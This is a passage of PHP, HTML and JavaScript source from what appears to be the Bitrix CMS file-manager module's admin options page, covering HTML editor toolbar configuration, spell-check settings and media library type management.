	<td><input type="checkbox" name="render_styles_in_classlist" id="render_styles_in_classlist" value="Y" <?if(COption::GetOptionString($module_id, "render_styles_in_classlist", "N") == "Y") echo " checked"?>></td>
</tr>
<tr>
	<td valign="top"><label for="htmleditor_fullscreen"><?= GetMessage('FILEMAN_OPT_FULLSCREEN')?></label></td>
	<td><input type="checkbox" name="htmleditor_fullscreen" id="htmleditor_fullscreen" value="Y" <?if(COption::GetOptionString($module_id, "htmleditor_fullscreen", "N")=="Y")echo " checked"?>></td>
</tr>
<tr>
	<td valign="top"><label for="allow_render_components"><?= GetMessage('FILEMAN_OPT_ALLOW_RENDER_COMPONENTS')?>:</label></td>
	<td><input type="checkbox" name="allow_render_components" id="allow_render_components" value="Y" <?if(COption::GetOptionString($module_id, "allow_render_components", "N") == "Y") echo " checked"?>></td>
</tr>
<? endif; // $useEditor3?>
	<tr>
		<td valign="top"><label for="editor_body_id"><?= GetMessage('FILEMAN_OPTION_EDITOR_BODY_ID')?>:</label></td>
		<td><input type="text" id="editor_body_id" name="editor_body_id" value="<?= COption::GetOptionString($module_id, "editor_body_id", "")?>" /></td>
	</tr>
	<tr>
		<td valign="top"><label for="editor_body_class"><?= GetMessage('FILEMAN_OPTION_EDITOR_BODY_CLASS')?>:</label></td>
		<td><input type="text" id="editor_body_class" name="editor_body_class" value="<?= COption::GetOptionString($module_id, "editor_body_class", "")?>" /></td>
	</tr>

<? if (!$useEditor3):?>
	<tr class="heading">
		<td colspan="2"><?= GetMessage("FILEMAN_EDITOR_TOOLBAR_SETTINGS");?></td>
	</tr>
<?
$arEdTypes = array(
	array(
		"code" => "filesrc_pub",
		"editors"=> array("filesrc_pub"),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_PUBLIC"),
		"public" => true
	),
	array(
		"code" => "filesrc",
		"editors"=> array("filesrc"),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_ADMIN"),
		"public" => false),
	array(
		"code" => "template_edit",
		"editors"=> array("CONTENT"),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_TEMPLATE"),
		"public" => false
	)
);

if (IsModuleInstalled("iblock"))
{
	$arEdTypes[] = array(
		"code" => "iblock_public",
		"editors"=> array("PREVIEW_TEXT", "DETAIL_TEXT"),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_IBLOCK_PUBLIC"),
		"public" => true
	);
	$arEdTypes[] = array(
		"code" => "iblock_admin",
		"editors"=> array("PREVIEW_TEXT", "DETAIL_TEXT"),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_IBLOCK_ADMIN"),
		"public" => false
	);
}

if (IsModuleInstalled("subscribe"))
{
	$arEdTypes[] = array(
		"code" => "subscribe",
		"editors"=> array(),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_SUBSCRIBE"),
		"public" => false
	);
}

if (IsModuleInstalled("learning"))
{
	$arEdTypes[] = array(
		"code" => "learning_public",
		"editors"=> array(),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_LEARNING_PUBLIC"),
		"public" => true
	);
	$arEdTypes[] = array(
		"code" => "learning_admin",
		"editors"=> array(),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_LEARNING_ADMIN"),
		"public" => false
	);
}

if (IsModuleInstalled("form"))
{
	$arEdTypes[] = array(
		"code" => "form_edit",
		"editors"=> array("FORM_TEMPLATE"),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_FORM"),
		"public" => false
	);
	$arEdTypes[] = array(
		"code" => "form_edit_public",
		"editors"=> array("FORM_TEMPLATE"),
		"title" => GetMessage("FILEMAN_EDITOR_TYPE_FORM_PUBLIC"),
		"public" => false
	);
}

$arCurConfig = array();
for ($i = 0, $l = count($arEdTypes); $i < $l; $i++)
{
	$arCurConfig[$arEdTypes[$i]['code']] = CFileMan::GetEditorToolbarConfig($arEdTypes[$i]['code']);
	// for ($j = 0, $n = count($arEdTypes[$i]['editors']); $j < $n; $j++)
	// {
		// $arJS = Array();
		// $arCSS = Array();

		// $events = GetModuleEvents("fileman", "OnBeforeHTMLEditorScriptsGet");
		// while($arEvent = $events->Fetch())
		// {
			// $tmp = ExecuteModuleEventEx($arEvent, array($arEdTypes[$i]['editors'][$j], array()));
			// if (!is_array($tmp))
				// continue;

			// if (is_array($tmp['JS']))
				// $arJS = array_merge($arJS, $tmp['JS']);
			// if (is_array($tmp['CSS']))
				// $arCSS = array_merge($arCSS, $tmp['CSS']);
		// }
	// }
}
?>

	<tr>
		<td width="50%"><label for='ed_toolbar_type'><?= GetMessage("FILEMAN_EDITOR_TYPE");?>:</td>
		<td  valign="top">
			<select name="ed_toolbar_type" id="ed_toolbar_type">
				<?for ($i = 0, $l = count($arEdTypes); $i < $l; $i++):?>
				<option value="<?= $arEdTypes[$i]["code"]?>"><?= $arEdTypes[$i]["title"]?></option>
				<? endfor;?>
			</select>
		</td>
	</tr>
	<tr>
		<td></td>
		<td  valign="top">

<style>
div.bxopt-cont{width: 350px; height: 300px; border: 1px solid #E0E4F1;overflow: auto;}
table.bxopt-tbl{border-collapse: collapse;width: 100%;}
table.bxopt-tbl td{padding: 0!important;}
table.bxopt-tbl td.bxopt-toolbar-title{background-color: #E0E8EA; font-weight: bold; padding: 4px 0!important;}
table.bxopt-tbl td.bxopt-toolbar-sep{height: 10px;}
table.bxopt-tbl td.bxopt-toolbar-title label{margin-left:31px; cursor: default;}
table.bxopt-tbl td.bxopt-check-sell{width: 20px; padding-left: 5px!important;}
table.bxopt-tbl td.bxopt-separator{color: #808080;font-style:italic;font-size: 11px;text-align: center;}
table.bxopt-tbl td.bxopt-but-icon{width: 25px; padding: 2px 0 0 5px !important;}
table.bxopt-tbl td.bxopt-but-icon .bxed-button{width: 20px; height: 20px; background-image: url(/bitrix/images/fileman/htmledit2/_global_iconkit.gif); background-repeat: norepeat;}
table.bxopt-list{border-collapse: collapse; border:1px solid #A5ACB2 !important; margin-left: 3px;}
table.bxopt-list td{background: #FFFFFF !important;}
table.bxopt-list .bxopt-listtitle{background:#FFFFFF!important; font-family:Tahoma,Courier New !important; font-size:11px !important; margin:2px 4px 0!important; overflow:hidden; white-space:nowrap;}
table.bxopt-list td.bx-listbutton{background:url("/bitrix/images/fileman/htmledit2/_global_iconkit.gif") no-repeat scroll -63px -59px #E0DEDA !important; border-left:1px solid #A5ACB2 !important; font-size:1pt !important; height:18px !important; width:14px !important;}
table.bxopt-tbl td.bxopt-but-title{}
table.bxopt-tbl td.bxopt-but-title label{margin: 3px 2px; cursor: default;}
</style>
			<div id="bxopt_but_title" class="bxopt-cont-title"></div>
			<div id="bxopt_but_div" class="bxopt-cont">
			</div>

<?
// Get lang messages for editor for displaying buttons
function _GtFMess()
{
	if(file_exists($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/fileman/lang/'.LANGUAGE_ID.'/admin/fileman_js.php'))
		include($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/fileman/lang/'.LANGUAGE_ID.'/admin/fileman_js.php');
	else
		include($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/fileman/lang/en/admin/fileman_js.php');
	return $MESS;
}

$sMess = "";
$aMess = _GtFMess();
$aMess = array_keys($aMess);

IncludeModuleLangFile($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/fileman/admin/fileman_js.php');
$l = count($aMess);
for($i = 0; $i < $l; $i++)
	if(substr($aMess[$i], 0, strlen("FILEMAN_JS_"))=="FILEMAN_JS_")
		$sMess .= "'".substr($aMess[$i], strlen("FILEMAN_JS_"))."': '".CUtil::addslashes(GetMessage($aMess[$i]))."',";

$sMess = rtrim($sMess,',');

?>

<script>
var BX_MESS = {<?=$sMess?>};
function BXButtonConfig()
{
	this.Init();
}

BXButtonConfig.prototype =
{
	Init: function()
	{
		this.pEditorType = BX("ed_toolbar_type");
		this.pTitle = BX("bxopt_but_title");
		this.pWnd = BX("bxopt_but_div");
		this.arChecks = {};
		this.types = <?= CUtil::PhpToJSObject($arEdTypes)?>;
		this.curConfig = <?= CUtil::PhpToJSObject($arCurConfig)?>;

		var
			curCode = '<?= isset($_REQUEST['ed_toolbar_type']) ? CUtil::JSEscape($_REQUEST['ed_toolbar_type']) : ''?>',
			_this = this, i, l = this.types.length;

		this.pEditorType.onchange = function(){_this.ChangeEditorType(this.value);};

		window.pPropertybarHandlers = {};
		window.oBXEditorUtils = {addDOMHandler: function(){}, appendButton: function(){}};
		window._showAllButtons = true;

		this.oTypes = {};
		for (i = 0; i < l; i++)
			this.oTypes[this.types[i].code] = {oType: this.types[i]};

		// Load buttons
		BX.loadScript('/bitrix/admin/htmleditor2/toolbarbuttons.js', function()
			{
				_this.buttons = arButtons;
				_this.toolbars = window.arToolbars;
				_this.globalToolbar = window.arGlobalToolbar;
				_this.ChangeEditorType(curCode || _this.types[0].code);
			}
		);

		BX.loadCSS('/bitrix/admin/htmleditor2/editor.css');
	},

	BuildButtons: function(typeCode)
	{
		var tableCont = this.pWnd.appendChild(BX.create("TABLE", {props: {className: "bxopt-tbl"}, style: {display: 'none'}}));
		this.oTypes[typeCode].pTable = tableCont;
		this.oTypes[typeCode].arChecks = {};
		this.oTypes[typeCode].arTlbrChecks = {};
		// Store
		this.oTypes[typeCode].pInputCont = this.pWnd.appendChild(BX.create("DIV"));

		var k, i, l, row, chId, checkCell, checkBox, but, chBox, j, val, n;
		var _this = this;

		if (this.oTypes[typeCode].oType['public'])
		{
			toolbarId = 'global';
			this.AddButton(typeCode, 'new_line', -1, toolbarId);

			// Global toolbar
			for (i = 0, l = this.globalToolbar.length; i < l; i++)
				this.AddButton(typeCode, this.globalToolbar[i], i, toolbarId);

			if (this.curConfig[typeCode])
			{
				for(j = 0, n = this.curConfig[typeCode].length; j < n ; j++)
				{
					val = this.curConfig[typeCode][j];
					if (val.indexOf("-") != -1 && (chBox = BX("bxbut~" + typeCode + "~" + 'global' + "~" + val.substr(1))))
						chBox.checked = false;
				}
			}
		}
		else
		{
			for (k in this.toolbars)
			{
				if (typeof this.toolbars[k] != 'object')
					continue;

				// Add toolbar title
				chId = "bxedtlbr~" + typeCode + "~" + k;
				row = tableCont.insertRow(-1);

				checkCell = BX.adjust(row.insertCell(-1), {props: {className: "bxopt-check-sell bxopt-toolbar-title"}});
				checkBox = checkCell.appendChild(BX.create("INPUT", {props: {type: "checkbox", id: chId, checked: true}}));
				this.oTypes[typeCode].arTlbrChecks[k] = checkBox;

				//Just on/off button checkboxes
				checkBox.onclick = function()
				{
					var
						bCheck = !!this.checked,
						_id = this.id.split("~"),
						typeCode = _id[1],
						tlbrCode = _id[2],
						arCh = _this.oTypes[typeCode].arChecks[tlbrCode],
						j, k = arCh.length;

					for (j = 0; j < k; j++)
						arCh[j].checked = bCheck;
					_this.SaveConfig(typeCode);
				};

				BX.adjust(row.insertCell(-1), {props: {className: "bxopt-toolbar-title", colSpan: 2}, html: "<label for=\"" + chId + "\">" + this.toolbars[k][0] + "</label>"});

				// Add buttons
				for (i = 0, l = this.toolbars[k][1].length; i < l; i++)
					this.AddButton(typeCode, this.toolbars[k][1][i], i, k);

				// Add toolbar separator
				BX.adjust(tableCont.insertRow(-1).insertCell(-1),{props: {className: "bxopt-toolbar-sep", colSpan: 3}});

				if (this.curConfig[typeCode] && this.curConfig[typeCode][k])
				{
					for(j = 0, n = this.curConfig[typeCode][k].length; j < n ; j++)
					{
						val = this.curConfig[typeCode][k][j];
						if (val.indexOf("-") != -1 && (chBox = BX("bxbut~" + typeCode + "~" + k + "~" + val.substr(1))))
							chBox.checked = false;
					}
				}

				this.CheckToolbar(typeCode, k);
			}
		}
	},

	AddButton: function(typeCode, but, ind, toolbarId)
	{
		if (typeof but == 'undefined')
			return;

		var
			tableCont = this.oTypes[typeCode].pTable,
			row = tableCont.insertRow(-1),
			chId = "bxbut~" + typeCode + "~" + toolbarId + "~" + (but == 'line_begin' ? but : ind),
			_this = this;

		if (!this.oTypes[typeCode].arChecks[toolbarId])
			this.oTypes[typeCode].arChecks[toolbarId] = [];

		if (but == 'new_line' && ind >= 0)
		{
			// Add toolbar separator
			BX.adjust(row.insertCell(-1), {props: {className: "bxopt-toolbar-sep", colSpan: 3}});
			row = tableCont.insertRow(-1);
		}

		var
			checkCell = BX.adjust(row.insertCell(-1), {props: {className: "bxopt-check-sell"}}),
			checkBox = checkCell.appendChild(BX.create("INPUT", {props: {type: "checkbox", id: chId}}));

		checkBox.checked = true;

		if (ind >= 0)
		{
			this.oTypes[typeCode].arChecks[toolbarId].push(checkBox);

			checkBox.onclick = function()
			{
				var _id = this.id.split("~");
				_this.CheckToolbar(_id[1], _id[2]);
				_this.SaveConfig(typeCode);
			}
		}
		else
		{
			checkBox.checked = true;
			checkBox.disabled = true;
		}

		if (but == 'new_line')
		{
			BX.addClass(checkCell, "bxopt-toolbar-title");
			var sepCell = BX.adjust(row.insertCell(-1), {props: {className: "bxopt-toolbar-title", colSpan: 2}, html: "<label for=\"" + chId + "\">" + '<?= GetMessage('FILEMAN_EDITOR_BUT_CONF_NEW_LINE')?>' + "</label>"});
		}
		else if (but == 'separator')
		{
			var sepCell = BX.adjust(row.insertCell(-1), {props: {className: "bxopt-separator", colSpan: 2}, html: "<label for=\"" + chId + "\">" + '------------ <?= GetMessage('FILEMAN_EDITOR_BUT_CONF_SEP')?> ------------' + "</label>"});
		}
		else
		{
			var iconCell = BX.adjust(row.insertCell(-1), {props: {className: "bxopt-but-icon"}});
			var text = but[1].name || but[1].title || but[1].id;

			if (but[0] == 'BXButton' || but[0] == 'BXEdColorPicker')
			{
				var pIcon = iconCell.appendChild(BX.create("IMG", {props: {id: "bx_btn_" + but[1].id, src: "/bitrix/images/1.gif", className: "bxed-button"}}));

				var titleCell = BX.adjust(row.insertCell(-1), {props: {className: "bxopt-but-title"}, html: "<label for=\"" + chId + "\">" + text + "</label>"});

			}
			else if (but[0] == 'BXEdList' || but[0] == 'BXStyleList')
			{
				iconCell.colSpan = "2";
				var listTable = iconCell.appendChild(BX.create("TABLE", {props: {className: "bxopt-list"}, style: {width: (but[1].field_size || 120) + "px"}}));

				var r = listTable.insertRow(-1);
				r.insertCell(-1).appendChild(BX.create("DIV", {props: {className: "bxopt-listtitle"}, html: "<label for=\"" + chId + "\">" + text + "</label>"}));
				BX.adjust(r.insertCell(-1), {props: {className: "bx-listbutton"}, html: "&nbsp;"});
			}
		}
	},

	ChangeEditorType: function(type)
	{
		this.pEditorType.value = type;
		for (var k in this.oTypes)
		{
			if (typeof this.oTypes[k] == 'object' /* && this.oTypes[k].pTable */)
			{
				if (k == type)
				{
					if (!this.oTypes[k].pTable)
						this.BuildButtons(k);

					this.oTypes[k].pTable.style.display = '';
				}
				else
				{
					if (this.oTypes[k].pTable)
						this.oTypes[k].pTable.style.display = 'none';
				}
			}
		}
	},

	SaveConfig: function(typeCode)
	{
		// Clean inputs
		BX.cleanNode(this.oTypes[typeCode].pInputCont);

		// For global toolbars
		if (this.oTypes[typeCode].oType['public'])
		{
			var
				bChanged = false,
				value = [],
				pCh, _id, ind,
				arCh = this.oTypes[typeCode].arChecks['global'],
				i, l = arCh.length;

			for (i = 0; i < l; i++)
			{
				ind = arCh[i].id.split("~")[3];
				but = this.globalToolbar[ind];
				value.push((arCh[i].checked ? "" : "-") + ind.toString());

				if (!arCh[i].checked)
					bChanged = true;
			}

			if (bChanged)
			{
				l = value.length;
				for(i = 0; i < l; i++)
				{
					this.oTypes[typeCode].pInputCont.appendChild(BX.create("INPUT", {props: {type: 'hidden', name: 'tlbr[' + typeCode + '][global][' + i + ']', value: value[i]}}));
				}
			}
			else
			{
				this.oTypes[typeCode].pInputCont.appendChild(BX.create("INPUT", {props: {type: 'hidden', name: 'tlbr[' + typeCode + ']', value: 'clean'}}));
			}
		}
		else
		{
			var
				bChanged = false,
				value = {},
				pCh, _id, ind,
				arCh = this.oTypes[typeCode].arChecks,
				i, l, k;

			// For each toolbar
			for (k in arCh)
			{
				if (typeof arCh[k] != 'object')
					continue;

				l = arCh[k].length;
				for (i = 0; i < l; i++)
				{
					ind = arCh[k][i].id.split("~")[3];

					this.oTypes[typeCode].pInputCont.appendChild(BX.create("INPUT", {props: {type: 'hidden', name: 'tlbr[' + typeCode + '][' + k + '][' + i + ']', value: (arCh[k][i].checked ? "" : "-") + ind.toString()}}));

					if (!arCh[k][i].checked)
						bChanged = true;
				}
			}

			if (!bChanged)
			{
				BX.cleanNode(this.oTypes[typeCode].pInputCont);
				this.oTypes[typeCode].pInputCont.appendChild(BX.create("INPUT", {props: {type: 'hidden', name: 'tlbr[' + typeCode + ']', value: 'clean'}}));
			}
		}
	},

	CheckToolbar: function(typeCode, tlbr)
	{
		if (this.oTypes[typeCode].oType.public)
			return;

		var
			tlbrCh = BX("bxedtlbr~" + typeCode + "~" + tlbr),
			bCheck = false,
			arCh = this.oTypes[typeCode].arChecks[tlbr],
			i, l = arCh.length;

		for (i = 0; i < l; i++)
		{
			if (arCh[i].checked)
			{
				bCheck = true;
				break;
			}
		}

		if (tlbrCh)
			tlbrCh.checked = !!bCheck;
	}
};

new BXButtonConfig();

</script>
		</td>
	</tr>

<?endif; // $useEditor3?>
	<tr class="heading">
		<td colspan="2"><? echo GetMessage("FILEMAN_EDITOR_CONVERT_SETTINGS");?></td>
	</tr>

	<? if ($useEditor3):?>
	<tr>
		<td width="50%" valign="top"><label for='replace_new_lines'><?echo GetMessage("FILEMAN_REPLACE_NEW_LINES_WITH_BR");?>:</td>
		<td  valign="top">
			<input type="checkbox" name="replace_new_lines" id='replace_new_lines' value="Y" <? if (COption::GetOptionString($module_id, "replace_new_lines", 'Y') == 'Y') echo 'checked';?>>
		</td>
	</tr>
	<? else:?>
	<tr>
		<td width="50%" valign="top"><label for='use_lca'><?echo GetMessage("FILEMAN_USE_LCA");?>:</td>
		<td  valign="top">
			<input type="checkbox" name="use_lca" id='use_lca' value="Y" <? if (COption::GetOptionString($module_id, "use_lca", 'N') == 'Y') echo 'checked';?>>
		</td>
	</tr>
	<tr>
		<td width="50%" valign="top"><?echo GetMessage("FILEMAN_ENTITIES_GROUPS");?>:</td>
		<td  valign="top">
			<?
			$opt = COption::GetOptionString($module_id, "ar_entities", 'umlya,greek,other');
			if ($opt == 'none')
				$ar_entities = array();
			else
				$ar_entities = explode(',', $opt);
			?>
			<table border="0" style="width:100%">
			<tr>
				<td><input type="checkbox" name="ar_entities[]" id='ent_umlya' value="umlya" <? if(in_array('umlya',$ar_entities)) echo 'checked';?>></td>
				<td><label for='ent_umlya'><?echo GetMessage("FILEMAN_ENTITIES_UMLYA");?></label></td>
			</tr>
			<tr>
				<td><input type="checkbox" name="ar_entities[]" id="ent_greek" value="greek" <? if(in_array('greek',$ar_entities)) echo 'checked';?>></td>
				<td><label for='ent_greek'><?echo GetMessage("FILEMAN_ENTITIES_GREEK");?></label></td>
			</tr>
			<tr>
				<td><input type="checkbox" name="ar_entities[]" value="other" id="ent_other" <? if(in_array('other',$ar_entities)) echo 'checked';?>></td>
				<td><label for='ent_other'><?echo GetMessage("FILEMAN_ENTITIES_OTHER");?></label></td>
			</tr>
			</table>
		</td>
	</tr>
	<? endif; //$useEditor3 ?>

<? if ($useEditor3):?>

	<tr class="heading">
		<td colspan="2"><? echo GetMessage("FILEMAN_OPTION_SPELL_SET");?></td>
	</tr>

	<?
	if (function_exists('pspell_config_create')):
		$use_pspell_checked = (COption::GetOptionString($module_id, "use_pspell", "Y")=="Y") ? "checked" : "";
	?>
	<tr>
		<td valign="top"><label for="use_pspell"><?echo GetMessage("FILEMAN_OPTION_USE_PSPELL");?></label><br>
						<a title="<?echo GetMessage("FILEMAN_OPTION_ADDISH_DICS_TITLE");?>" href="http://aspell.sourceforge.net/" target="blank"><?echo GetMessage("FILEMAN_OPTION_ADDISH_DICS");?></a><br>
		</td>
		<td>
			<input type="checkbox" name="use_pspell" id="use_pspell" value="Y" <?echo $use_pspell_checked;?>>
		</td>
	</tr>
	<tr>
		<td><? echo GetMessage("FILEMAN_OPTION_USER_DIC_DIR");?></td>
		<td>
			<input type="text" name="user_dics_path" style="width: 100%" value="<?= htmlspecialcharsbx(COption::GetOptionString($module_id, "user_dics_path", "/bitrix/modules/fileman/u_dics"))?>">
		</td>
	</tr>
	<tr>
		<td><label for="use_separeted_dics"><?= GetMessage("FILEMAN_OPTION_USE_SEP_DICS");?></label></td>
		<td>
			<input type="checkbox" name="use_separeted_dics" id="use_separeted_dics" value="Y" <?= (COption::GetOptionString($module_id, "use_separeted_dics", "Y")=="Y") ? "checked" : "";?>>
		</td>
	</tr>
	<?else:
			COption::SetOptionString($module_id, "use_pspell", "N");
	?>
	<tr>
		<td valign="top"><?echo GetMessage("FILEMAN_OPTION_USE_PSPELL");?><br>
			<a title="<?echo GetMessage("FILEMAN_OPTION_INSTALL_PSPELL_TITLE");?>" href="http://php.net/manual/en/ref.pspell.php" target="blank"><?echo GetMessage("FILEMAN_OPTION_INSTALL_PSPELL");?></a><br>
			<a title="<?echo GetMessage("FILEMAN_OPTION_ADDISH_DICS_TITLE");?>" href="http://aspell.sourceforge.net/" target="blank"><?echo GetMessage("FILEMAN_OPTION_ADDISH_DICS");?></a><br>
		</td>
		<td valign="top">
			<?echo GetMessage("FILEMAN_OPTION_NOT_INSTALLED");?>
		</td>
	</tr>
	<?endif; // function_exists('pspell_config_create')?>
<? endif; //$useEditor3?>

<?
/* MEDIALIB TAB*/
$tabControl->BeginNextTab();

function _MLGetTypeHTML($type = array())
{
	$name = htmlspecialcharsbx("ML_TYPE[".$type["id"]."]");
	ob_start();
?>
<div class="bx-ml-type"  id="type_cont_<?= $type["id"]?>">
<div class="bx-ml-type-label">
	<?if ($type["b_new"]):?>
		<input type="hidden" name="<?= $name."[NEW]"?>" value="Y" />
	<?endif;?>

	<input type="hidden" name="<?= $name."[SYS]"?>" value="<?= $type["system"] ? "Y" : "N"?>" />

	<? if($type["system"]):?>
		<div><?= htmlspecialcharsex($type["name"])?></div>
	<? else:?>
		<div id="type_name_<?= $type["id"]?>" class="bx-ml-editable"><?= htmlspecialcharsex($type["name"])?></div>
	<?endif;?>

	<? if($type["code"] != "image" || !$type["system"]):?>
		<a  id="type_del_<?= $type["id"]?>" class="bx-ml-type-del" href="javascript:void(0);"><?= GetMessage("FILEMAN_OPTION_DELETE")?></a>
	<?endif;?>
</div>

<? if($type["code"] != "image" || !$type["system"]):?>
	<div class="bx-ml-type-label-deleted">
	<input id="type_empty_<?= $type["id"]?>" type="hidden"  value="<?= $type['empty'] ? 'Y' : 'N'?>" />
	<input id="type_del_inp_<?= $type["id"]?>" type="hidden"  name="<?= $name."[DEL]"?>" value="N" />
	<div id="type_del_name_<?= $type["id"]?>"><?= htmlspecialcharsex($type["name"])?></div>
	<a  id="type_restore_<?= $type["id"]?>" class="bx-ml-type-restore" href="javascript:void(0);"><?= GetMessage("FILEMAN_ML_TYPE_RESTORE")?></a>
</div>
<?endif;?>

<div class="bx-ml-type-params">
	<table border="0" width="100%">
		<tr<?if(!$type["system"]):?> class="adm-detail-required-field"<?endif;?>><td class="adm-detail-content-cell-l bx-ml-td-left" width="40%">
			<label for="type_name_inp_<?= $type["id"]?>"><?= GetMessage('FILEMAN_OPTION_PROPS_NAME')?>:</label>
		</td><td class="adm-detail-content-cell-r" width="60%">
			<? if($type["system"]):?>
				<span class="bx-sys-value"><?= htmlspecialcharsex($type["name"])?></span>
				<input type="hidden" id="type_name_inp_<?= $type["id"]?>" value="<?= htmlspecialcharsbx($type["name"])?>" />

			<? else:?>
				<input type="text"  name="<?= $name."[NAME]"?>" id="type_name_inp_<?= htmlspecialcharsbx($type["id"])?>" value="<?= htmlspecialcharsbx($type["name"])?>" size="40" />
			<?endif;?>
		</td></tr>

		<tr<?if(!$type["system"]):?> class="adm-detail-content-cell-l adm-detail-required-field"<?endif;?>><td class="bx-ml-td-left" width="40%">
			<input type="hidden" name="<?= $name."[CODE]"?>" value="<?= $type["code"]?>" />
			<label for="type_code_inp_<?= htmlspecialcharsbx($type["id"])?>"><?= GetMessage('FILEMAN_ML_ADD_TYPE_CODE')?><? if(!$type["system"]):?><span class="required"><sup>1</sup></span><?endif;?>:</label>
		</td><td class="adm-detail-content-cell-r" width="60%">
			<? if($type["system"]):?>
				<span class="bx-sys-value"><?= htmlspecialcharsex($type["code"])?></span>
				<input type="hidden" name="<?= $name."[CODE]"?>" value="<?= htmlspecialcharsbx($type["code"])?>" />
			<? else:?>
				<input type="text" name="<?= $name."[CODE]"?>" id="type_code_inp_<?= htmlspecialcharsbx($type["id"])?>" value="<?= htmlspecialcharsbx($type["code"])?>" size="40" />
			<?endif;?>
		</td></tr>

		<tr class="adm-detail-required-field"><td class="adm-detail-content-cell-l bx-ml-td-left" width="40%">
			<label for="type_ext_inp_<?= htmlspecialcharsbx($type["id"])?>"><?= GetMessage('FILEMAN_ML_ADD_TYPE_EXT')?><span class="required"><sup>1</sup></span>:</label>
		</td><td class="adm-detail-content-cell-r" width="60%">
			<input type="text" name="<?= $name."[EXT]"?>" id="type_ext_inp_<?= htmlspecialcharsbx($type["id"])?>" value="<?= $type["ext"]?>" size="40" />
		</td></tr>
		<tr><td class="adm-detail-content-cell-l bx-ml-td-left" width="40%">
			<label for="type_desc_inp_<?= htmlspecialcharsbx($type["id"])?>"><?= GetMessage('FILEMAN_ML_ADD_TYPE_DESC')?>:</label>
		</td><td class="adm-detail-content-cell-r" style="height: 50px;" width="60%">
			<? if($type["system"]):?>
				<input name="<?= $name."[DESC]"?>" type="hidden" value="<?= htmlspecialcharsbx($type["desc"])?>" />
				<span><?= htmlspecialcharsbx($type["desc"])?></span>
			<? else:?>
				<textarea name="<?= $name."[DESC]"?>" id="type_desc_inp_<?= htmlspecialcharsbx($type["id"])?>" style="width: 260px;" rows="2" cols="30"><?= htmlspecialcharsbx($type["desc"])?></textarea>
			<?endif;?>
		</td></tr>
	</table>
</div>
</div>
<?
	$s = ob_get_contents();
	ob_end_clean();
	return $s;
}
?>

	<tr>
		<?
		$useML = (COption::GetOptionString($module_id, "use_medialib", "Y") == "Y");
		$displ = $useML ? '' : 'style="display:none;"';
		?>
		<td width="40%">
		<label for="use_medialib"><?= GetMessage("FILEMAN_OPTION_USE_MEDIALIB")?>:</label></td>
		<td width="60%"><input type="checkbox" name="use_medialib" id="use_medialib" value="Y" <?if($useML) echo " checked";?> onclick="BX('edit5_edit_table').className = 'edit-table' + (this.checked ? '' : ' edit-table-ml-hidden');">
		<img src="/bitrix/images/1.gif" style="width: 110px; height: 1px;" />
		</td>
	</tr>
	<tr <?= $displ?> class="bx-ml-hidden-row">
		<td><label for="medialib_thumb_width"><?= GetMessage("FILEMAN_MEDIALIB_THUMB_SIZE")?>:</label></td>
		<td><input type="text" name="medialib_thumb_width" id="medialib_thumb_width" value="<?= COption::GetOptionInt($module_id, "ml_thumb_width", 140)?>" size="6"/> x <input type="text" name="medialib_thumb_height" value="<?= COption::GetOptionInt($module_id, "ml_thumb_height", 105)?>" size="6"/></td>
	</tr>
	<tr <?= $displ?> class="bx-ml-hidden-row">
		<td><label for="medialib_ext"><?= GetMessage("FILEMAN_MEDIA_EXT")?>:</label></td>
		<td><input type="text" value="<?= htmlspecialcharsbx(COption::GetOptionString($module_id, "ml_media_extentions", CMedialib::GetDefaultMediaExtentions()))?>" size="40" id="medialib_ext" name="medialib_ext"/></td>
	</tr>
	<tr <?= $displ?> class="bx-ml-hidden-row">
		<td><label for="medialib_max_width"><?= GetMessage("FILEMAN_MEDIALIB_MAX_SIZE")?>:</label></td>
		<td><input type="text" name="medialib_max_width" id="medialib_max_width" value="<?= COption::GetOptionInt($module_id, "ml_max_width", 1024)?>" size="6"/> x <input type="text" name="medialib_max_height" value="<?= intval(COption::GetOptionInt($module_id, "ml_max_height", 1024))?>" size="6"/></td>
	</tr>
	<tr <?= $displ?> class="bx-ml-hidden-row">
		<td><label for="medialib_use_default"><?= GetMessage("FILEMAN_MEDIA_USE_DEF")?>:</label></td>
		<td><input type="checkbox" value="Y" <?if(COption::GetOptionString($module_id, "ml_use_default", true)) echo " checked";?> id="medialib_use_default" name="medialib_use_default"/></td>
	</tr>

<?
CMedialib::Init();
$arMLTypes = CMedialib::GetTypes(array(), true);
$maxCount = 0;
?>
	<tr class="heading bx-ml-hidden-row" <?= $displ?>>
		<td colspan=2><?= GetMessage("FILEMAN_SEC_MEDIALIB_TYPES")?></td>
	</tr>
	<tr <?= $displ?> class="bx-ml-hidden-row"><td colspan="2" align="center">

		<table id="bxml_type_tbl">
		<?for ($i = 0, $l = count($arMLTypes); $i < $l; $i++):?>
			<tr><td>
			<?= _MLGetTypeHTML($arMLTypes[$i]);?>
			<?
			if ($maxCount <= $arMLTypes[$i]['id'])
				$maxCount = $arMLTypes[$i]['id'] + 1;
			?>
			</td></tr>
		<?endfor;?>
			<tr><td align="right">
				<input onclick="addType();" type="button" value="<?= GetMessage("FILEMAN_ML_ADD_TYPE")?> >>" title="<?= GetMessage("FILEMAN_ML_ADD_TYPE_TITLE")?>" />
			</td></tr>
			<tr><td align="left">
				<?= BeginNote();?>
				<span class="required"><sup>1</sup></span><?= GetMessage("FILEMAN_ONLY_LATIN")?><br>
				<?= EndNote();?>
			</td></tr>
		</table>

<script>
window.onload = function(){setTimeout(function()
{
	window.oMLSet = {
		pTypeTbl: BX("bxml_type_tbl"),
		curCount: <?= $maxCount?>
	};

	<?for ($i = 0, $l = count($arMLTypes); $i < $l; $i++):?>
		InitEventForType('<?= $arMLTypes[$i]['id']?>');
	<?endfor;?>
},
50);};

function addType()
{
	var id = window.oMLSet.curCount++;
	var newCell = window.oMLSet.pTypeTbl.insertRow(window.oMLSet.pTypeTbl.rows.length - 1).insertCell(-1);
